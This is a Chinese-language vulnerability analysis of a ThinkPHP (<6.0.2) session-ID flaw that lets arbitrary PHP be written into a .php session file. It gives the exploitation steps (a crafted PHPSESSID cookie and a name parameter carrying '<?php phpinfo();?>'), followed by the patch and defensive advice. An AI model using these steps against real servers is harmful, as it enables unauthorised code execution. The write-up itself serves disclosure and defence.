Thinkphp < 6.0.2 session id未作过滤导致getshell
字数 1046 2025-08-26 22:11:56
ThinkPHP < 6.0.2 Session ID未过滤导致Getshell漏洞分析
漏洞概述
ThinkPHP框架在6.0.2版本之前存在一个Session ID未过滤的安全隐患,攻击者可以通过控制Session ID的值,将恶意代码写入.php文件中,从而实现远程代码执行(Getshell)。
漏洞影响版本
ThinkPHP < 6.0.2
漏洞原理分析
1. Session ID处理流程
-
Session ID设置:在
think/middleware/SessionInit.php中,框架从Cookie中获取PHPSESSID值$sessionId = $request->cookie($cookieName); // 默认cookieName为PHPSESSID $this->session->setId($sessionId); -
Session保存机制:
- 框架使用Session ID作为文件名的一部分保存Session数据
- 在
think/session/Store.php中:$sessionId = $this->getId(); $this->handler->write($sessionId, $data);
-
文件写入过程:
- 在
think/session/driver/File.php中:protected function getFileName(string $name): string { return $this->config['path'] . 'sess_' . $name; } protected function writeFile($path, $content): bool { return (bool) file_put_contents($path, $content, LOCK_EX); }
- 在
2. 漏洞关键点
- 未过滤的Session ID:框架未对Session ID进行有效过滤,允许包含特殊字符(如
.) - 直接拼接文件名:Session ID直接拼接到文件路径中,无任何安全处理
- 文件内容可控:通过设置Session变量,可以控制写入文件的内容
漏洞利用步骤
1. 构造恶意请求
-
设置Cookie中的PHPSESSID为恶意值:
PHPSESSID=1234567890123456789012345678.php -
访问存在漏洞的控制器方法(示例):
public function testsession2() { $username = Request::get('name'); Session::set('username', $username); return 'hi'; } -
传递恶意参数:
GET /index/testsession2?name=<?php phpinfo();?>
2. 结果验证
Session文件将被写入:
/runtime/session/sess_1234567890123456789012345678.php
访问该文件即可执行其中的PHP代码。
漏洞修复方案
ThinkPHP 6.0.2中修复了此漏洞,主要修改:
-
在
think/session/Store.php中添加了对Session ID的校验:public function setId(string $id): void { if (!ctype_alnum($id)) { throw new \InvalidArgumentException('session id not alnum'); } $this->id = $id; } -
使用
ctype_alnum()函数确保Session ID只包含字母和数字
安全建议
- 及时升级到ThinkPHP 6.0.2或更高版本
- 如果无法立即升级,可手动添加Session ID过滤逻辑
- 避免将用户可控数据直接用于文件操作
- 设置Session文件目录不可通过Web访问
漏洞利用条件
- 应用程序使用了Session功能
- 存在将用户输入存入Session的操作
- Session存储驱动为File(默认配置)
防御措施
- 输入验证:对所有用户输入进行严格验证
- 输出编码:对输出到文件系统的内容进行适当处理
- 最小权限原则:限制Web服务器对文件系统的写入权限
- 安全配置:禁用危险函数,如
file_put_contents等(如可能)